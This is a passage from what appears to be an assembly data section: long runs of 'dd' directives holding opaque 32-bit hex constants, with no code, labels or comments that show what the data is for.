8D34A8F5h dd 1B9F26ECh, 0A0F41E00h, 8F127104h, 8A032AEh, 0CD058C29h dd 0DDBF2ABAh, 0E600C08Eh, 29BEBAB6h, 4B2E1F31h, 2800184Ah dd 1E48F90Ah, 0CC809732h dd 3B9C1C70h, 7C2F255Bh, 32008923h, 20190B06h, 6AD216C6h dd 0BA78A06Fh, 80CCB14Fh, 0A8F03D5h, 1589DB81h, 0C8DD0681h dd 5E00A5DFh, 0CE873824h, 1639B628h, 211BF691h, 0E0B3F9A8h dd 0C904CFC6h, 0F2FA2D23h, 0E1F2E8B2h, 209F30h, 0BBF7E860h dd 88D357AAh, 6E20F890h, 807CA5F1h, 0E6BBACDBh, 68E1CA64h dd 8CEDE828h, 0F7E0BF00h, 0E82EAC97h, 8258BCA7h, 31AD4B2h dd 0CF02D0D6h, 0DABEB570h, 0CFFB5C70h, 59BD963Eh, 5E6EFE89h dd 48FD4CA1h, 68123EB2h, 0EF23183Ah, 0DC972700h, 4D5268FCh dd 0BF28A00Fh, 74C0094Ch, 0CA0B742h, 0E936FCD0h, 3020D8B0h dd 9614079Bh, 0B342B151h, 1E881A77h, 9430843Eh, 16C969A0h dd 0D70E043Ah, 9D78E40Ch, 242B2A64h, 4003223h, 0B8BDFE01h dd 8649676h, 0C0029D3Fh, 0C52C2Eh, 807A9825h, 2C31734Ah dd 0FB00D8EAh, 7498F536h, 0E143A21Dh, 27BDBA01h, 8020D475h dd 1A692C63h, 0FA6684FCh, 8140ECB3h, 7764E5D2h, 243F2F4h dd 3F147393h, 58405FBDh, 7E244C1Fh, 808B50FDh, 248C5106h dd 60F6440Ch, 21CE652Ah, 60CF3974h, 0AB416522h, 8A8309A6h dd 44141B77h, 0E1713C99h, 1DD6F819h, 5D043907h, 150C36Eh dd 0B24E6B1Eh, 44B35880h, 86CB4900h, 44FEBFA5h, 1A256494h dd 0B454C1FCh, 0D56298E3h, 845F5D4Ah, 3064C02Dh, 0EDB40502h dd 0A0FFCE8Fh, 6FDD6BB8h, 3DBE2A85h, 532207ECh, 4029F0C6h dd 0A3E94D79h, 273BA701h, 3D0270FBh, 88266874h, 98E8102Ch dd 13B1CA3Dh, 0C35FA35h, 912804B8h, 0FE6C98C0h, 2BC40430h dd 0BECD1105h, 1CB5A420h, 0E8D0602Ah, 0AA8C2C67h, 4868923Fh dd 4EA9098h, 0BCE82D49h, 1300A0EDh, 4A31AACh, 2328DCC8h dd 0C0129069h, 68DC7A55h, 602A4153h, 0E64AD238h, 32DE2844h dd 0E53C9600h, 14819556h, 0EDF20C22h, 1D59730h, 5374F3DBh dd 821EBB1Ah, 4A709999h, 250C6801h, 0A8B95112h, 17989FD0h dd 22748077h, 0D456BE1Ch, 0F9F25F80h, 402D11h, 8AB3973Eh dd 0A71BB967h, 9CB2917Ch, 58C060ADh, 1535CC6h, 0BD83FAAAh dd 339ACCF6h, 0AC700020h, 9DA35915h, 5EDF9846h, 23B02F84h dd 4B81CEDh, 0C3E80451h, 1FC02E8h, 5F35E5DAh, 0E25C403Fh dd 42622526h, 97AC2400h, 6D84C0B0h, 0FC610448h, 1F7B2BEh dd 0E09813C1h, 31B87838h, 1710EE8Ch, 1E983CE4h, 0B7BF49C8h dd 6C16544Ch, 6CF34D32h, 0C8888A4Bh, 1805C6EDh, 1E122CE0h dd 18F0EE93h, 0E846097Bh, 0AC71CDA5h, 868678F0h, 1631D503h dd 0E9FAA86Eh, 8C393362h, 0C8DEEE10h, 0CBDF931Fh, 0C7368840h dd 88C3A2Ch, 9E020232h, 68E3DAB6h, 5AA280D4h, 4A1C9139h dd 603B6BBFh, 88008B23h, 6E152CFAh, 0D85800A3h, 8BB924AAh dd 43009E0Ah, 329A2716h, 7A0D152Dh, 2509034h, 0C14F1920h dd 0D05ABD8Dh, 0CA56800h, 5082C5Eh, 757C13C3h, 212818F7h dd 8F4EC2CBh, 4C2F2C93h, 4FC0E819h, 0ECCE4409h, 2D0A0E3Eh dd 93FC40E3h, 42730B76h, 6C4883AFh, 580E710h, 72AA295Fh dd 802F11B4h, 0BF38BACFh, 0E41687EDh, 8F94AC03h, 6A62CAFCh dd 28F0410Ch, 504CB87Dh, 0DAE28B0Ah, 13CE09BCh, 0ED71E071h dd 0BF004718h, 0BD9F0249h, 9C7301Bh, 69A5B872h, 6520BC78h dd 68FB13F3h, 52B4D0D2h, 1227F762h, 0B1E058D3h, 1833D10Ch dd 78DD0761h, 6F92594Ch, 0B14CA392h, 0D80C8674h, 2DA07C49h dd 0C298C74Ah, 11188678h, 8BDD00A1h, 0E543C7D0h, 8D4CE4DFh dd 0BA4474FCh, 3B1A16DDh, 0E9C4275h, 7B01C304h, 2020258Dh dd 98248826h, 0FC23FE00h, 161FC169h, 0C51D2678h, 221E1C58h dd 0FE00E4BEh, 0CCAF0148h, 0A69E1285h, 6FD84E52h, 81C49BF3h dd 595023BCh, 5EE4047Ah, 0F009F7h, 0FE2BC31Ah, 0E092543Eh dd 4C979529h, 0AF808991h, 0B2C27961h, 75E01960h, 2CFC992Eh dd 95A0E2B6h, 88696CFDh, 0D814D86Bh, 740BDE8h, 0A24A7855h dd 97A40119h, 3088353Ch, 0CA0ED9D6h, 0E0282D94h, 80575447h dd 0FFB9FD31h, 2605FC29h, 0A02C0EBDh, 10BD233Ch, 0A307B8h dd 5584F353h, 3D75EDBCh, 0E2239600h, 3CD64921h, 4D253C47h dd 7C0031EBh, 590C1D9Bh, 0C480EF4Ah, 902B5C06h, 4935C08h dd 1496D910h, 52B41C20h, 2A3401CCh, 8F1DFC12h, 0E8409088h dd 38224D93h, 0D6A0F4DFh, 76AB2201h, 618762DDh, 0B404020h dd 8C11F630h, 804400FAh, 0E8151E20h, 0C3FE1D8Dh, 0E2A0BE99h dd 5B0444B0h, 2C45E8B0h, 5275C42h, 0F0A45423h, 1614642Ch dd 6F68B15Eh, 3523F82Fh, 0FCC4B802h, 598040AFh, 0CD90A8F2h dd 0F8E400C7h, 0A63BAE94h, 9F1C0543h, 40AD68FAh, 5BB2C8Ch dd 0CD0E092Eh, 8860CE61h, 692FC0E9h, 9EF05A1Bh, 0FB923504h dd 64809DF2h, 271EC1ABh, 0FCE10F32h, 7100EAACh, 0BFA4AA4Ah dd 20E5B485h, 3F6A7DE8h, 421801BDh, 7A2EFC22h, 0FF007FA0h dd 4DC2531Ah, 13BF51C4h, 60C8F0E6h, 29FC7920h, 0B7BBE880h dd 0CCD06420h, 9B616F4Ah, 36A72FA1h, 123254C8h, 1EEB6214h dd 21A558A0h, 0BE24A317h, 0AA80B0E0h, 1F830654h, 8D7A19D2h dd 10C76823h, 0EE44A73Fh, 8020915Ah, 76BF482Dh, 510041E3h dd 0CC138A40h, 4C89BC5Ch, 0E42A7C92h, 0A6B4A09Ch, 99048368h dd 0D336B31Ch, 0A98DA0A0h, 141219A8h, 6858BCD3h, 3C89EE6Eh dd 0D3023984h, 0A36A7297h, 0BE03147Eh, 6E0F12Eh, 874A7D90h dd 42121888h, 0CA8855Ah, 864375ECh, 749F7E02h, 5C7F42h dd 942D0202h, 21D891FAh, 0A22FD002h, 64E3FEB6h, 33962E7Ch dd 0F4344784h, 0F844E8F1h, 2E008CECh, 6221932Dh, 0C8758EFFh dd 10184080h, 0C2224359h, 0B9E29178h, 46743CDEh, 9A2A00EEh dd 4BFBD981h, 0B4B15Fh, 43A3B1B9h, 0E5004EC5h, 0B2210FE2h dd 0EAA083Ch, 7E6081B4h, 0F4F6C001h, 28147E9Fh, 0C9B9664h dd 610D580h, 3046AC1h, 0BC8BD7D1h, 0E8589881h, 0A6962F00h dd 2800865Fh, 51AFC929h, 0A57338DFh, 9D60B0AEh, 0D03E20C8h dd 30EA2C7Ch, 2D050902h, 0B4FC10h, 0C63CC525h, 0C3075C7Ch dd 395EACC2h, 850090E9h, 81072412h, 0FAE40128h, 74239E80h dd 0A662B3C8h, 0FCBB5981h, 0A9131220h, 0FCB2AC30h, 1EE83C49h dd 7F04B604h, 8800E87Dh, 159260BCh, 0A604FCC9h, 33616B1Eh dd 417D00FDh, 8230793Bh, 0D8E70h, 0D60EBB1Ah, 381330C0h dd 4EDA9398h, 0C44CCED3h, 90308677h, 0DE4EC8B1h, 0F74882h dd 1A311271h, 0F99F3317h, 0AC6D6C0Fh, 406981B9h, 41071811h dd 0D2B5A8EBh, 0B667A03Fh, 17BAE15Dh, 6BB8D10h, 50E23926h dd 0DD503AFEh, 3F3C20C0h, 4B15BF8Ah, 699CC420h, 742DFBD5h dd 44D80A89h, 13FD2020h, 0C02A4273h, 0EEE6BE84h, 0A0A07B4Bh dd 0F2E0F7A5h, 0CA79FD6h, 0FE748261h, 7361A8FCh, 983DFB72h dd 99B0163Ch, 8AD77A59h, 7C301880h, 441DB5BBh, 60867408h dd 4E509A61h, 4CBC03BFh, 0D98DA17Bh, 41A0B830h, 0DB4AE8C7h dd 0E3655C9Eh, 0AE8E8420h, 0F2B0BAF4h, 24C49EDAh, 0E8C2124Ch dd 0B696B0h, 4965E10h, 0E48A8F06h, 6E3678F7h, 73217821h dd 271B889Ch, 336CE807h, 0BCF54A81h, 210B1052h, 24F6B31Eh dd 8009FD34h, 5CBB9FF0h, 0F0467400h, 540A973Bh, 69E87241h dd 32E4B045h, 50B56960h, 5639B400h, 29A64780h, 0C179531h dd 0E989E491h, 87D6C885h, 2EBF425Bh, 46B5C0D2h, 68F56010h dd 544FC2A3h, 2955B33Ch, 1426807Fh, 1CB05A3Eh, 39E91776h dd 80EC9B3Dh, 1417F693h dd 8658055Ch, 0C99C0742h, 2020C26Ch, 5A096516h, 4248B345h dd 8677E138h, 0EB3BDE0Ch, 0E26DA85Eh, 6F37D10Ah, 4674F0B5h dd 0EF4100EDh, 0E856AEE3h, 8649BAAh, 0FE043992h, 0A8FCC6BEh dd 18041D93h, 1C8611E4h, 0B5707113h, 0E9C8D0CBh, 0F746A0CEh dd 17EF26C9h, 4045B514h, 2CCAAF90h, 70B2A816h, 0B850F738h dd 0AC90DB70h, 4D5A931Eh, 4A7FC8E2h, 0FC54C195h, 9C5F3AB6h dd 7C68F649h, 0AC174044h, 367C931Ch, 0FA20CFh, 7A80539Ch dd 0E899C5F7h, 0E28ADA3h, 69B942C6h, 0FAE02427h, 5AF7ACA4h dd 0EA10C81Ch, 0D198A05h, 18BD80F9h, 0B4581501h, 202A8D7Ah dd 2840EFD0h, 0CE6E1BFEh, 96CAB9E7h, 102530FEh, 27FCF958h dd 0C912CADh, 5B382539h, 40BBC018h, 25BF05E4h, 4491EC16h dd 3E687028h, 0BC2079D5h, 0CBC138Eh, 0E7C8298h, 3C02C8A9h dd 8480E714h, 7CC77A1Bh, 0F2E08302h, 322FED8h, 0F10139BDh dd 0F696D117h, 0CE60FCA8h, 7AB10040h, 80772E8Ch, 78A0BFE8h dd 0A61D72C6h, 0B01FB1D0h, 0F4DA6501h, 48244AB6h, 4BBA0258h dd 0FF92CDC6h, 5954915Dh, 0E518D02Bh, 0BE1E15EDh, 0E4AF4FA5h dd 79040058h, 94D54644h, 0D607D3D0h, 0A288D4A3h, 0DA332973h dd 0FAB064CFh, 18E9C63Ah, 731241FCh, 5CC06F62h, 4A7D2EBEh dd 0B9DCD5D6h, 7942156Ch, 9B057DE4h, 0DE15D8E9h, 0E3C19C59h dd 2357839h, 0BCDCFC59h, 0FA268CE9h, 8B3B387Bh, 82D28D92h dd 8AE5150Ch, 4674D4C8h, 4C760EEBh, 7B8CE0A5h, 0BE777F12h dd 0C17241DCh, 4403F94h, 0BBDE37F2h, 154EA52h, 0CDFCFD21h dd 700B01D9h, 0EF4D62A5h, 5ACA0890h, 2B9206h, 1BC353FCh dd 8D28E4CDh, 10F18494h, 52FF1AD5h, 0E910B07Dh, 0C6E5ED2h dd 0FBB7B201h, 5743A199h, 590808E8h, 7D4C89CEh, 9D44D87Ch dd 3EBBF040h, 7EF1245Fh, 9800147Ah, 0FEFB488Ah, 0EE122393h dd 0D4B6B8B6h, 0B4526AE0h, 0EE8E900h, 0BC0AAE02h, 32FE3Fh dd 36164EE4h, 61E0078Eh, 80D83059h, 0BF37BACEh, 18659DD5h dd 0BAB7E380h, 40FC88D7h, 0D544CA05h, 0F4069DC6h, 430F893Bh dd 2F318AC4h, 0A3FB80C5h, 0FAFC7FA6h, 13DC946Ah, 0F288E2E0h dd 36CE300Eh, 1C4F190Fh, 0B5740033h, 9442590Dh, 12D404FCh dd 0D00ABBC7h, 0C544D4A8h, 89032A40h, 1F60BA5Bh, 0BC062C44h dd 0D0645F1Ch, 29EB7968h, 96C4480h, 23AA68FCh, 0F97C4B8h dd 11CB9427h, 537B6238h, 0E2F58500h, 27DA3F54h, 2C188177h dd 0DA2A1341h, 7469C360h, 375E88C8h, 0E4B116D8h, 23781748h dd 310B9120h, 587362FDh, 0FCB900B0h, 0CCF425A4h, 0A74FE875h dd 727F6444h, 24C7D4B8h, 0E66461E1h, 0A041C218h, 349B2A39h dd 2C5FFD80h, 13FEB867h, 0F7B5EC00h, 0F14F2BC3h, 65A109C1h dd 0C74A8D9h, 0DB9E8340h, 0F8B90060h, 0A7F613BFh, 8B00EFD2h dd 0ED40A434h, 3EFC4633h, 0ECCC2BACh, 262FE13h, 426B1E27h dd 6F5BA850h, 4C51ECB2h, 10007ADAh, 5A120D80h, 0E223E02Fh dd 0AA898E00h, 161E33h, 71D3E54Dh, 1AA2E1CFh, 72312902h dd 0FA9E0362h, 0FB14203Ch, 9712D517h, 97F144B0h, 76E2A845h dd 0CDCC1886h, 6CA0604Bh, 0F14A257Ah, 84ADEC1Bh, 0E810ECD0h dd 94008CF0h, 7CED9598h, 32BD05Bh, 7056C80Ah, 90FCAA50h dd 74319460h, 8BC74A11h, 9F70F628h, 8CB90490h, 0E6F37A02h dd 0A1EB4822h, 0D5B7B5ECh, 7F8F42D8h, 7316001Eh, 121B673Fh dd 6E3F2814h, 0B4D05EF5h, 1F7BF9BFh, 0D3221A4Bh, 13ECE052h dd 0DCBC04E9h, 168C36BCh, 0E45AA9AFh, 6200FB7Ch, 8FC838BEh dd 38A20FDCh, 0A404EDC9h, 0EBE4CE0Ch, 0C77F7072h, 61EFE4B4h dd 9D9A881h, 58A54C21h, 0EDD94079h, 74FE0218h, 0D10A6927h dd 0F93C093Ch, 16433844h, 1949E901h, 64185933h, 17BF14C4h dd 80EF114Ch, 1DDCDE87h, 224827F9h, 29827040h, 7E49BC94h dd 80454558h, 74D651F6h, 76310900h, 93901B7Eh, 0EA3076A6h dd 0F6C717E8h, 0B2EC8C1Ah, 0CC92581Eh, 894B420Bh, 0D16C7990h dd 0B7721834h, 78161003h, 3DCCF1B0h, 0EF0D24B4h, 0D02A6003h dd 124BAAC0h, 0AFED2005h, 0A842A994h, 500EBEFEh, 4ACF01BCh dd 0B02EA56Ch, 90C86FC3h, 0FB854036h, 880E7068h, 1696C602h dd 0CC145DDCh, 20E73C2Dh, 0EF4AFD5Ch, 186C9D8Ch, 0C20F0800h dd 4B1FB185h, 725F2A09h, 4E4300C4h, 1CD4113Fh, 0AFF8C62Ah dd 414880A4h, 2F208098h, 0C1171A8Eh, 23D45340h, 642F6E2Dh dd 7C801023h, 3B83EDB0h, 8F8BED1h, 0E100F8DEh, 7A17AC93h dd 2C987603h, 9374E5CEh, 59588CA3h, 62803494h, 0F826EF68h dd 8C700Bh, 6FDC972h, 0D627712Fh, 317EE901h, 42A5866Ah dd 3AD103EBh, 0A6E69CC8h, 3E735C88h, 830E26F4h, 0B2340D0Ah dd 1BAA4404h, 0F53F2B01h, 127D1064h, 0C0934D73h, 0EED8F609h dd 8EC07CDEh, 13ADFCCAh, 13C2721Ch, 0AA589068h, 0EB3B0A34h dd 55F20BB9h, 4747139h, 0ECC36A73h, 27421290h, 0E6680020h dd 0DC7B8226h, 16CB5ADh, 8D844916h, 928468BBh, 0F0BC00ACh dd 0F386018Ch, 0B00EBF66h, 348C399Eh, 20F87472h, 12B92480h dd 8C00E83Bh, 667D4833h, 7159741h, 0CCFDB1EFh, 0F71A9007h dd 25001CD0h, 9BFC2ACAh, 0F21FA413h, 75C2272Ch, 0EEE498C5h dd 0E81D9160h, 0C44FE205h, 0B4205AC9h, 7BFFD4h, 758BAAD2h dd 0BB8FE96h, 0A0E16200h, 0E87ACE94h, 7C91BFh, 0D8D4DB2Eh dd 6CB82561h, 0C5E26CB4h, 0A8F9130Eh, 0CC270ED5h, 7B21D4F0h dd 41C2C84h, 5F1DEBBh, 0F8CDB493h, 8F22F07Dh, 82EA81Ch dd 24ACC82Dh, 0C492976Fh, 9E101C18h, 0DCFD30C4h, 3F018502h dd 93209857h, 3B7F5BD6h, 1050488Ch, 0FC02E84Ch, 60FB1902h dd 80C83C62h, 3EF3EA3h, 64F189F9h, 0FAB4A46Ch, 1EC06820h dd 119C910Ch, 3E531D96h, 64959305h, 0F0F6C4B7h, 8D03A5Bh dd 0A7B80D5h, 3E7DFB4Ah, 0B39841C0h, 0DCE314BEh, 2D3F5407h dd 6C25D9A8h, 85788C15h, 0BB16302h, 0DCBEAB9Bh, 421A80DCh dd 10C3D16Bh, 7DF53858h, 0F30B3F00h, 0F12691FCh, 1C2F00B3h dd 55CB79ABh, 0C603635Dh, 85B0A9E0h, 0B494F102h, 0F4932180h dd 0F0733218h, 0D55BA91Fh, 80BF5A09h, 42B46894h, 0BC98A89Bh dd 9A570025h, 856FA527h, 0CC005210h, 0A8F25DFAh, 1699C3Dh dd 671CA4D6h, 0CC3823CFh, 915ABB3Ah, 0E30A2800h, 2547CC7h dd 567298CBh, 24781E5Fh, 98D078h, 974847Ch, 43818800h dd 0DFFFFBAAh, 3F680AA1h, 8280284Ch, 12F63227h, 77BF9490h dd 0D0E34039h, 0B1CCB3BCh, 44791093h, 34011B92h, 39A3EBA6h dd 0F45413E3h, 2828900Ah, 8F2AFBD0h, 0FB303586h, 407CB458h dd 73E3EF74h, 69E4AC0Eh, 0B4049663h, 0FA0F8666h, 3237DFE1h dd 27405AEAh, 67384174h, 0D2B73980h, 2768C08Dh, 0A7211D09h dd 0BE48E842h, 9808C9DAh, 563AB879h, 7C80B03Ch, 0FC59C2B7h dd 0F87A2C68h, 1612F71Ah, 90341531h, 2FBC5Eh, 82D258BDh dd 0BE270555h, 0CC3224Bh, 9DA5A8E2h, 406713BFh, 4825101Ch dd 91BCAD74h, 13F6B062h, 0EB98A84Ch, 7F014061h, 91F37B33h dd 68D0C5CAh, 0CAF7E23Ch, 1054C561h, 81968885h, 0E80669A5h dd 99462A4h, 793BCE3h, 59238ECCh, 5F379054h, 9887120Ch dd 18704029h, 27BD4539h, 140018BFh, 73633E77h, 9420F429h dd 4C9EBC6Dh, 0D230970Fh, 80B59C92h, 531C8C34h, 0B644F822h dd 3ABE8E3Ch, 0B05CFB6Bh, 9D6C4057h, 0A1339F34h, 0FC580894h dd 4987C04h, 0B4C117C6h dd 108CA98Bh, 4308AF77h, 0C418F063h, 70810FCh, 7D2910FFh dd 3154F610h, 8F0C295Ah, 9C6B388Ch, 0A440BE08h, 0F8A0404Ch dd 6B281363h, 20081037h, 42C71005h, 1823A710h, 9530AEB8h dd 7408CE8Dh, 5C7B1818h, 14F508C4h, 4082D04h, 2E046702h dd 34E50471h, 0C16FA04h, 4093D1B3h, 56403F63h, 673E408Eh dd 40161A40h, 0F740312Bh, 33B9CA2Ah, 892B69Ch, 205F5C31h dd 8BEE8EEh, 0E32066A0h, 2963321Eh, 0C50306E9h, 0BC38318Ah dd 34DA421h, 3118F686h, 0C708A191h, 9D188C43h, 40F7086Ah dd 9766A244h, 20F16020h, 520F63Ch, 74932025h, 0BF90E754h dd 401D4C40h, 69C87340h, 91B68CDEh, 99CC7108h, 6429212Eh dd 933930F3h, 49159108h, 44EC96DBh, 0A8A95580h, 0DEA19859h dd 81E3D731h, 830AC68Ch, 0D088A822h, 18D0ACB4h, 0E91063B3h dd 0E008106Dh, 0BCA62A21h, 86BCB32h, 1F004860h, 31F080E7h dd 80F22F80h, 298080C6h, 512B81F1h, 8CA2828Ch, 8AD8538h dd 2799405Bh, 19B69C4h, 976A804h, 0F6C226Ah, 589D0247h dd 27C0202h, 8CA40AA0h, 1DB50416h, 0A8C9910Ch, 40116040h dd 9CA86CE2h, 8C4EFEDh, 0B2046F49h, 0B8A50A28h, 87EA488h dd 870829DDh, 0F45E0CF0h, 51CA0608h, 0AC98E4CCh, 80050EA9h dd 48C493CDh, 7C046ECBh, 19F00475h, 0C5CC004h, 40023957h dd 2C62B165h, 22E3408h, 1B03FAD6h, 4561204Eh, 209EA320h dd 78625560h, 2F33CF1h, 10022D17h, 35EF02FDh, 15984B07h dd 0AA10A0E8h, 69310E5h, 0C4F9B631h, 37B0141h, 1724701h dd 2F023897h, 9329BC49h, 2C4916B1h, 1E00234Ah, 0BF101085h dd 0B9913264h, 5F84A24Ah, 19F0067Ah, 3164F149h, 87FFA120h dd 26A01088h, 0C4C4513h, 12C9217Eh, 90BD810Dh, 96E2CCC4h dd 0E1AB312Fh, 0BEE06158h, 10B06F09h, 109DE4E0h, 74026093h dd 291DE07Dh, 98A0575Eh, 76A42A92h, 7CE2D500h, 0FC5102BDh dd 5F10209h, 5994A7FBh, 98B0B8C6h, 1F805A2Eh, 8ED51A00h dd 0FDD9C279h, 0E1F92080h, 55A98F1h, 0F00BB400h, 126BA92h dd 5FAD0BDDh, 64A031F4h, 616D8594h, 78A0865Bh, 84B9747Ch dd 4BDA7500h, 0D2468808h, 4A1E2C42h, 41919CA8h, 3DDA65A2h dd 8085E945h, 50D98D30h, 3C4140Bh, 0DDCC2DFDh, 6FF35FBFh dd 0D32E3800h, 30908135h, 0B80B004Ah, 3EA73B1Dh, 7A0FEA69h dd 0AA8EA4h, 89A5FC5Eh, 0BB7405BCh, 808B9ACBh, 956AE1D8h dd 0C1C4F181h, 0C0DD598Eh, 0C4402458h, 5913C7Dh, 1168A518h dd 262AA7B2h, 2F0C9CF9h, 0B0AD4EBEh, 0D9F42Ch, 2D841698h dd 7C42BF26h, 77805652h, 383F9A33h, 80C1C2CBh, 0AAF1E9C4h dd 1628A825h, 0BDB89E5Eh, 920D9B4h, 4C74918Ch, 1828A78Ah dd 26607B00h, 78F1C1E7h, 20C91ACDh, 608288A7h, 4880146Dh dd 9444BF24h, 0D0D07828h, 9DA12C14h, 4D5F0DF1h, 8EF0501Bh dd 186F0126h, 5AE908C5h, 148C289Ah, 1084997Dh, 50764BFEh dd 0C0BC6C51h, 84061CA0h, 8E085D79h, 3C9B85Ah, 0B705E973h dd 365F38B0h, 0E1688AEDh, 201E68BBh, 0F17284C6h, 4224B60h dd 0B44E354Ch, 3C16A20Ch, 9CE04B94h, 5A7B1C97h, 0C8EA3Bh dd 42B4FAB6h, 16EAC256h, 0CC721E0Eh, 403C4D1Dh, 478083E2h dd 0FE21004Ah, 56FCCF59h, 4260BD5Fh, 0C43B290h, 131F626h dd 93E25090h, 0E87F534Fh, 0CCB96C2Fh, 1C099912h, 0C45AC2h dd 46F1D1E1h, 1F0321A8h, 56DA7425h, 0E0A00094h, 0E172D3CDh dd 0B9E30501h, 0EA3E4291h, 80BA3994h, 21840EC0h, 8D15CC9Eh dd 2518E972h, 0E22807ABh, 0E61D5CF0h, 49900123h, 5916A658h dd 0ED32707Ah, 3884FA04h, 2C933F17h, 0D000EDC9h, 0EE1C8161h dd 0E311C185h, 44A491C0h, 31D858FCh, 8190C96Fh, 6BD35A14h dd 108700ACh, 2D1F0D0Eh, 0F98A3FC4h, 8C5A8D8Eh, 5485B8D8h dd 0C715FA1Ch, 495D8Fh, 0AD24AAB4h, 3F5CB02Dh, 0DB24BE45h dd 2EF6098Ch, 20DD5811h, 7C90E8C0h, 57A14210h, 0CD60FF31h dd 0F51884FAh, 54A8115Ah, 1950872Ah, 30E57D42h, 171081A0h dd 15C5D994h, 48943432h, 0FBC21277h, 60A458F3h, 0E09055A1h dd 615AF20Ch, 25A4C9A0h, 5C415B5Fh, 6415D016h, 8905923Dh dd 0F0185925h, 7C90A4h, 0FF26749Dh, 2A1B54AAh, 0D4B5D313h dd 507A801Bh, 0F08C2C40h, 0B30F4069h, 0AC6A9412h, 6B221800h dd 0C77DD03h, 0CF875939h, 16242358h, 0C041F865h, 0F06CDC94h dd 82BC5700h, 5AF7D153h, 0CC0C8828h, 0F5008575h, 423F3A2Ch dd 620594A6h, 0A12D3012h, 4FC09862h, 0E000130h, 0A87C9282h dd 305ABA9h, 94385493h, 9001D42Bh, 17247023h, 0C8203572h dd 0F70D02D5h, 0D454BEC1h, 7C0DC85h, 496614A4h, 0B9E1E422h dd 96245C44h, 5F053463h, 0C800E728h, 3FD985C0h, 7D309075h dd 814B2469h, 7CCA0060h, 287205F9h, 9AFCD309h, 0E36C90C1h dd 36A324CBh, 0D085829Ch, 4C489921h, 0EC9EA159h, 0F04B2C0Ah dd 48332A42h, 1274B6ACh, 2727A7BFh, 0CC4A2430h, 53401EB8h dd 4D352ACDh, 72251220h, 0A8B42291h, 1DC4E860h, 0BB948424h dd 29799020h, 0C8BDAC32h, 0BA6F20D7h, 16026515h, 38022DF9h dd 0FC9041D1h, 5A89060h, 343DFB25h, 42A003E9h, 80011C35h dd 799DB918h, 1630F966h, 23D600BAh, 35E79CC2h, 7C01CBF1h dd 4F8695B3h, 0C0CB5133h, 38D3C6BBh, 0E2000E04h, 0B66CE98Bh dd 790CFE25h, 0F0FFE05Ah, 0AAD40021h, 0E815E45Ch, 0AE167443h dd 0C4C17B5Fh, 0CC48D193h, 84E21Eh, 5E1A0148h, 685B56CEh dd 8C520500h, 7987585h, 0BEE10DDFh, 20C0F46Dh, 0D449A808h dd 0BD5212DCh, 90000835h, 39FCEE2Fh, 945E1C27h, 489C2846h dd 0FD075025h, 0C39C93D6h, 1800B457h, 10586930h, 2AD3CBh dd 4CE05DC6h, 5AC98ED4h, 68CF9CF6h, 0A903491Eh, 1D8C00DCh dd 0A161C7B8h, 9CFD9408h, 62162001h, 0C0E1121Ch, 60C54C24h dd 5909E0F9h, 9C010127h, 0C2C43820h, 0FCC30460h, 22BCC959h dd 579D18FBh, 42DA58B5h, 18664134h, 40133C88h, 0ED00203Fh dd 0B5563291h, 0A01CBABEh, 0A929E94h, 9D3A3DADh, 0CB7688FCh dd 4C91E10Ah, 58A84426h, 0A2FC210h, 3C068E6Bh, 0C900B165h dd 0B4CFA7FCh, 0A4CB3794h, 0B6F901A8h, 2B5A2E1Dh, 7BD03733h dd 4939C448h, 8CDC1AD0h, 0B8A08071h, 53431E30h, 161490E2h dd 0B53C385Bh, 21D0045Eh, 94C08068h, 94921C82h, 0E99D7909h dd 50C8832Bh, 4E781406h, 65012493h, 189240FCh, 5140CEE1h dd 9606F856h, 62FB5A68h, 16271430h, 734C3866h, 28AA9400h dd 18B334FDh, 0BD8DDC04h, 2C90D9ADh, 0A9A8589Dh, 98403EF8h dd 40905FB6h, 9898B4C1h, 0E32E6842h, 75A40524h, 0AA3882DAh dd 9880FF04h, 90B6F367h, 0FC71127Ch, 0F9D041E9h, 2CBDBEh dd 30B5BAAh, 94DFD92Eh, 7800E502h, 0C79D9E92h, 0F8271F26h dd 0F01E647Eh, 0C079852Bh, 0C84FB274h, 0E422422Ah, 89B8E13Eh dd 72E85234h, 2804A070h, 2BB68056h, 0C70D4B00h, 23AA919Bh dd 4E181206h, 0CCF400D0h, 0A717C498h, 1E715302h, 0E02B3090h dd 14788465h, 0A49C4ED4h, 3AFE6401h, 0F1591DAAh, 0B0482849h dd 0C09BA89Dh, 82D94EC8h, 6A38DD3Ch, 91BE135Ah, 5D18DCA0h dd 6474FC9Ch, 88BCC1EBh, 92422510h, 0BE0C993Eh, 1A3810DFh dd 4E94520Ah, 118094C0h, 3B039B9Ah, 79E42Eh, 56B558ABh dd 7F9D6842h, 4628EB60h, 6970D9BCh, 0DC00B132h, 48152E12h dd 0BB453001h, 84B3F025h dd 80FFC847h, 0A5856958h, 2CC700D0h, 9D99CA42h, 2BE6CF3Fh dd 5A61FD06h, 58B0DA22h, 0FB142CCBh, 0C098F0D9h, 0E97A0C80h dd 0C3C0E248h, 2CCE60BEh, 0A494A4C8h, 12C128DCh, 0C903A2C1h dd 0D5784174h, 44388789h, 3CA1CBEFh, 0FFEF4716h, 94BAE0B0h dd 0A418920Ah, 826A705Ch, 0EC1DA4A1h, 0AD79882Ah, 5ACF0F0Eh dd 0D504C316h, 1CD0B849h, 0E0E46FCDh, 8E3C88h, 0DA0CE242h dd 5F2522D3h, 0FB9C02ACh, 1F185BF9h, 0B2C48090h, 0B15F4050h dd 0D25C494Ch, 0E12E4883h, 0F4507CA6h, 1FF4B4h, 6716D358h dd 2720C098h, 9090594Fh, 25E7EFC9h, 44B210B9h, 97F8A084h dd 7D61809Ch, 8225CDABh, 0AE3089B5h, 3874E9C8h, 17BE2C48h dd 24851E24h, 6F2C70CCh, 0E00DFE3h, 4E2CB226h, 241E93F6h dd 51D1A9Eh, 0C0C9F291h, 0F4C7180Bh, 5CFBE12h, 3400E056h dd 0AD5AE93h, 5DA5122Ch, 3F894F9h, 0FD81BE0Ch, 246B3000h dd 0E102B512h, 359801BFh, 5F2FDAEFh, 659C50BBh, 0E903D404h dd 0E4BE2B73h, 5F6902E8h, 0A1CA0C9Bh, 28CDAC69h, 1DB105A8h dd 5098C373h, 16CC4020h, 0E729582Eh, 9B32F100h, 48365F23h dd 6980B87Eh, 1E8168A6h, 0E324E8B0h, 3603183Ah, 98D3344Dh dd 1DA3269Dh, 0A70C7139h, 0DED1D420h, 0C2E6B73Dh, 2654E500h dd 2D252737h, 7A1C1ABEh, 0C011B186h, 0CCB08E7Fh, 0F8518994h dd 4CA9C470h, 0DF80209Bh, 570B021Fh, 62D8BEABh, 0D098A87Dh dd 0A5FAF900h, 0B537023h, 